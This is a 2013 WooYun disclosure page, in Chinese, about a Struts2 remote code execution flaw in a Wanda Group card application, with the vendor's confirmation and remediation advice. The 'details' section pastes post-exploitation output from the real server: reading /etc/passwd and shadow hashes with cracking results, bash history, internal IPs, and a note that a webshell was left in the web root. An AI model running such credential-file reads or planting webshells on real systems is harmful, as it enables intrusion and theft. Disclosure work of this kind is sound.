当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018300

漏洞标题：万达某应用漏洞可导致内网风险

相关厂商：大连万达集团股份有限公司

漏洞作者： nightwi3h

提交时间：2013-02-03 11:10

修复时间：2013-03-20 11:11

公开时间：2013-03-20 11:11

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-03： 细节已通知厂商并且等待厂商处理中
2013-02-04： 厂商已经确认，细节仅向厂商公开
2013-02-14： 细节向核心白帽子及相关领域专家公开
2013-02-24： 细节向普通白帽子公开
2013-03-06： 细节向实习白帽子公开
2013-03-20： 细节向公众公开

简要描述：

万达某应用漏洞可导致内网风险(Ps:看着万达的同学们态度十分OK,考虑出连续剧)

详细说明：

#1.入口:

https://card.china-cbs.com/index.action


漏洞:

Struts2远程任意代码执行


#2:简单的服务器信息：

id
root


ifconfig
bond0:inet addr:10.199.18.29
bond0:0 addr:10.199.18.67


ping 61.139.2.69 -c 1
64 bytes from 61.139.2.69: icmp_seq=1 ttl=52 time=144 ms (外网OK)


cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
frxcard:x:0:0::/home/frxcard:/bin/bash
cat /etc/passwd
root:$*$2YuEcdZA$womvnsXXooJJYYl/:15559:0:99999:7:::7970*4 30分钟无结果
frxcard:$*$a1JmjjxxKKyyXXXXM5dd/:15547:0:99999:14:::7970*4 3秒 密码111111


last  grep "pts/1"
frxcard  pts/1        10.199.81.32     Fri Jan 25 15:49 - 15:54  (00:04) 
root     pts/1        10.199.81.32     Tue Oct  9 17:06 - 17:06  (00:00)  
cat /root/.bash_history | grep "frxcard"
scp tomcat6 frxcard@10.199.18.30:/home/frxcard
scp -R tomcat6 frxcard@10.199.18.30:/home/frxcard
scp -r tomcat6 frxcard@10.199.18.30:/home/frxcard
scp -r tomcat6 frxcard@10.199.20.12:/home/frxcard


tcp        0      1 10.199.18.29:40710          XX.20.11.67:80            SYN_SENT (外网TCP被墙)


#3.一点思考：
目测ICMP可直接出外网，过年了事情多，就不深入了。
WebShell见根目录：changepod.jsp

漏洞证明：

见详细说明,数据库啥的没动,没有授权,没有继续深入,我认为值Rank20

修复方案：

#1.看了看万达的Java应用基本上访问量不算大，可以考虑外网过一道WAF进行统一发布和审计
#2.内网和DMZ隔离有待加强
#3.Tomcat最好降权处理
#4.各种用户密码过于繁琐，审计复杂，推荐LDAP和SSO，安全又方便审计(我是说DMZ你们内网肯定是LDAP)
#5.Struts2这个该修了吧
#6.上传目录统一管理，检查执行权限

版权声明：转载请注明来源 nightwi3h@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2013-02-04 08:25

厂商回复：

感谢nightwi3h同学的关注与贡献！漏洞确认，加紧修复中！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-02-03 11:53 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    黑阔你好，黑阔再见！

  2. 2013-02-04 10:37 | 大连万达集团(乌云厂商)

    @nightwi3h，请私信提供收件人姓名。Q联系选择礼物吧。@xxser，乌云在白帽子给厂商提供联系方式的时候，联系人姓名被隐去了？

  3. 2013-02-04 16:35 | nightwi3h ( 实习白帽子 | Rank:38 漏洞数:2 | 桐梓林南路凌晨包子摊摊主)

    @大连万达集团 看到了。马上私信